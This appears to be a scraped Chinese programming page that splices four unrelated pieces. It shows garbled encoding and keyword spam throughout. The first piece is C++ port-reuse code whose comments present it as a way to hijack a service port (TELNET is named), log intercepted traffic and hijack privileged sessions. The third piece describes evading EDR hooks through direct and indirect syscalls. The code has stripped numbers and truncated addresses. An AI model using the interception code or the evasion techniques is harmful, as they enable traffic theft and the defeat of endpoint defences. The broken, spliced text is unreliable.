1.C++ä¸å¦ä½å®ç°ç«¯å£çè§
2.CCriticalSection missing ';' before identifier
3.免杀动态对抗之syscall[源码分析]
4.易语言暂停多个进程
C++ä¸å¦ä½å®ç°ç«¯å£çè§
ççæ没æç¨
==============
#include "stdafx.h"
#include <winsock2.h>
#include <windows.h>
//#include <stdio.h>
#include <stdlib.h>
#include <fstream.h>
DWORD WINAPI ClientThread(LPVOID lpParam);
int main(int argc,源码 char* argv[])
{
if (argc!=2)
{
printf("using: listen [your ip address]\nfor example:\n listen ...2\n");
return 0;
}
WORD wVersionRequested;
DWORD ret;
WSADATA wsaData;
BOOL val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int err;
SOCKET s;
SOCKET sc;
int caddsize;
HANDLE mt;
DWORD tid;
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("error!WSAStartup failed!\n");
return -1;
}
saddr.sin_family = AF_INET;
//æªå¬è½ç¶ä¹å¯ä»¥å°å°åæå®ä¸ºINADDR_ANYï¼ä½æ¯è¦ä¸è½å½±åæ£å¸¸åºç¨æ åµä¸ï¼åºè¯¥æå®å ·ä½çIPï¼çä¸.0.0.1ç»æ£å¸¸çæå¡åºç¨ï¼ç¶åå©ç¨è¿ä¸ªå°åè¿è¡è½¬åï¼å°±å¯ä»¥ä¸å½±å对æ¹æ£å¸¸åºç¨äº
saddr.sin_addr.s_addr = inet_addr(argv[1]);
saddr.sin_port = htons();
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = TRUE;
//SO_REUSEADDRé项就æ¯å¯ä»¥å®ç°ç«¯å£éç»å®ç
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{
printf("error!setsockopt failed!\n");
return -1;
}
//å¦ææå®äºSO_EXCLUSIVEADDRUSEï¼å°±ä¸ä¼ç»å®æåï¼è¿åæ æéçé误代ç ï¼
//å¦ææ¯æ³éè¿éå©ç¨ç«¯å£è¾¾å°éèçç®çï¼å°±å¯ä»¥å¨æçæµè¯å½åå·²ç»å®ç端å£åªä¸ªå¯ä»¥æåï¼å°±è¯´æå ·å¤è¿ä¸ªæ¼æ´ï¼ç¶åå¨æå©ç¨ç«¯å£ä½¿å¾æ´éè½
//å ¶å®UDP端å£ä¸æ ·å¯ä»¥è¿æ ·éç»å®å©ç¨ï¼è¿å¿ä¸»è¦æ¯ä»¥TELNETæå¡ä¸ºä¾åè¿è¡æ»å»
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
ret=GetLastError();
printf("error!bind failed!\n");
return -1;
}
listen(s,2);
while(1)
{
caddsize = sizeof(scaddr);
//æ¥åè¿æ¥è¯·æ±
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
if(sc!=INVALID_SOCKET)
{
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
if(mt==NULL)
{
printf("Thread Creat Failed!\n");
break;
}
}
CloseHandle(mt);
}
closesocket(s);
WSACleanup();
return 0;
}
DWORD WINAPI ClientThread(LPVOID lpParam)
{
SOCKET ss = (SOCKET)lpParam;
SOCKET sc;
char buf[];
SOCKADDR_IN saddr;
long num;
DWORD val;
DWORD ret;
//å¦ææ¯éè端å£åºç¨çè¯ï¼å¯ä»¥å¨æ¤å¤å ä¸äºå¤æ
//å¦ææ¯èªå·±çå ï¼å°±å¯ä»¥è¿è¡ä¸äºç¹æ®å¤çï¼ä¸æ¯çè¯éè¿.0.0.1è¿è¡è½¬å
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr(".0.0.1");
saddr.sin_port = htons();
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = ;
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{
printf("error!socket connect failed!\n");
closesocket(sc);
closesocket(ss);
return -1;
}
// åå ¥æ件:
ofstream oFile("portlog.txt");
if(!oFile)
{
printf("cannot write to the file.\n");
closesocket(ss);
closesocket(sc);
return 0 ;
}
while(1)
{
//ä¸é¢ç代ç 主è¦æ¯å®ç°éè¿ã0ã0ã1è¿ä¸ªå°åæå 转åå°çæ£çåºç¨ä¸ï¼å¹¶æåºççå å转ååå»ã
//å¦ææ¯å æ¢å 容çè¯ï¼å¯ä»¥åæ¤å¤è¿è¡å 容åæåè®°å½
//å¦ææ¯æ»å»å¦TELNETæå¡å¨ï¼å©ç¨å ¶é«æéç»éç¨æ·çè¯ï¼å¯ä»¥åæå ¶ç»éç¨æ·ï¼ç¶åå©ç¨åéç¹å®çå 以å«æçç¨æ·èº«ä»½æ§è¡ã
num = recv(ss,buf,,0);
if(num>0)
{
oFile<<"\n== DATA =========================================\n";
oFile<<buf;
send(sc,buf,num,0);
}
else if(num==0)
break;
num = recv(sc,buf,,0);
if(num>0)
{
oFile<<"\n== DATA =========================================\n";
oFile<<buf;
send(ss,buf,num,0);
}
else if(num==0)
break;
}
oFile.close();
closesocket(ss);
closesocket(sc);
return 0 ;
}
CCriticalSection missing ';' before identifier
CCriticalSection使ç¨è¿ä¸ªç±»ï¼è¦å å«å¤´æ件afxmt.h.ä½æ¯è¿ä¸ªç±»å¥½åæ¯åºç¨å°MFCä¸çãä¸è½ä¸#include <windows.h>åæ¶ä½¿ç¨ã建议使ç¨CRITICAL_SECTION m_Sec;æ¥å®ä¹ä¸´çåºã使ç¨
EnterCriticalSection(&m_Sec);è¿å ¥å¹¶éå®ä¸´çåºï¼LeaveCriticalSection(&m_Sec);离å¼ä¸´çåºã
å ·ä½ä»£ç å¦ä¸ï¼
#include <WINDOWS.H>
#include <STDIO.H>
DWORD WINAPI myfun1(LPVOID lpParameter);
DWORD WINAPI myfun2(LPVOID lpParameter);
CRITICAL_SECTION m_Sec;
int a = 0;
int main()
{
InitializeCriticalSection(&m_Sec);//åå§å临çåº
HANDLE h1, h2;
h1 = ::CreateThread(NULL, 0, myfun1, NULL, 0, NULL);
printf("线ç¨1å¼å§è¿è¡ï¼\r\n");
h2 = ::CreateThread(NULL, 0, myfun2, NULL, 0, NULL);
printf("线ç¨2å¼å§è¿è¡ï¼\r\n");
::CloseHandle(h1);
::CloseHandle(h2);
::Sleep();
DeleteCriticalSection(&m_Sec);
return 0;
}
DWORD WINAPI myfun1(LPVOID lpParameter)
{
EnterCriticalSection(&m_Sec);
a++;
printf("%d", a);
LeaveCriticalSection(&m_Sec);
return 0;
}
DWORD WINAPI myfun2(LPVOID lpParameter)
{
EnterCriticalSection(&m_Sec);
a++;
printf("%d", a);
LeaveCriticalSection(&m_Sec);
return 0;
}
免杀动态对抗之syscall[源码分析]
基础概念
操作系统分为内核和应用层,从R0-R3,源码R0是源码内核,R3是源码用户层。Windows中日常调用的源码API都是R3抽象出来的接口,虽然Win API它也是源码autojs实例源码R3接口,但由于Windows的源码设计思想就是高度封装,实际上的源码R3 API是ntdll.dll中的函数。
我们调用的源码Win API都是kernel.dll/user.dll中的函数,最终都要经过ntdll.dll。源码
逆向学习一个函数,源码选定CreateThread,源码ntdll中的源码肉溯源码对应函数是NtCreateThread。可以看到首先给eax赋值(系统调用号SSN),源码然后再执行syscall。源码
EDR的工作原理是对Windows API进行hook。一般使用inline hook,即将函数的开头地址值改成jmp xxxxxxx(hook函数地址)。知道了syscall的elupload组件源码调用模板,自己构造syscall(获取SSN,syscall),即可绕过EDR对API的hook。
学习不同项目对应的手法,如HellsGate、TartarusGate、会计兼职源码GetSSN、SysWhispers等。这些项目通过遍历解析ntdll.dll模块的导出表,定位函数地址,获取系统调用号SSN,实现动态获取SSN。博客blog源码
使用直接系统调用或间接系统调用,如SysWhispers系列项目的直接系统调用(手搓syscall asm)和间接系统调用(使用用户态API,如kernel.dll中的API)。系统调用号SSN在不同版本的系统下是不一样的,可以参考相关技术博客整理的列表。
SysWhispers2使用随机系统调用跳转(Random Syscall Jumps)避免“系统调用的标记”,通过SW__GetRandomSyscallAddress函数在ntdll.dll中搜索并选择一个干净的系统调用指令来使用。
SysWhispers3引入了egg技术(动态字符替换,汇编指令层次的混淆)和支持直接跳转到syscalls,是spoof call的变体,绕过对用户态asm文件syscall的监控。
HWSyscalls项目通过kernel gadget,跳到ntdll.dll中做间接syscall,更彻底地实现了间接系统调用。
这些项目的实现涉及软件中自定义堆栈流程、硬件断点等技术,通过内核函数调用、动态字符替换、异常处理机制等,绕过EDR检测和系统调用监控,实现免杀动态对抗。
易语言暂停多个进程
OpenProcess 取得 process handle 2.CreateToolhelpSnapshot 得到一个snapshot 3.然后调 ThreadFirst,ThreadNext 取线程
源码:.版本 2.DLL命令 暂停线程, 整数型, "kernel.dll", "SuspendThread" .参数 hThread, 整数型, , 线程句柄.DLL命令 恢复线程, 整数型, "kernel.dll", "ResumeThread", , 解除挂起 .参数 hThread, , , 线程句柄.DLL命令 创建线程, 整数型, "kernel.dll", "CreateThread" .参数 lpThreadAttributes, 整数型 .参数 dwStackSize, 整数型 .参数 子程序指针, 子程序指针 .参数 参数, 整数型 .参数 dwCreationFlags, 整数型 .参数 线程ID, 整数型, 传址.DLL命令 销毁线程, , "kernel.dll", "TerminateThread" .参数 线程ID, 整数型 .参数 dwExitCode, 整数型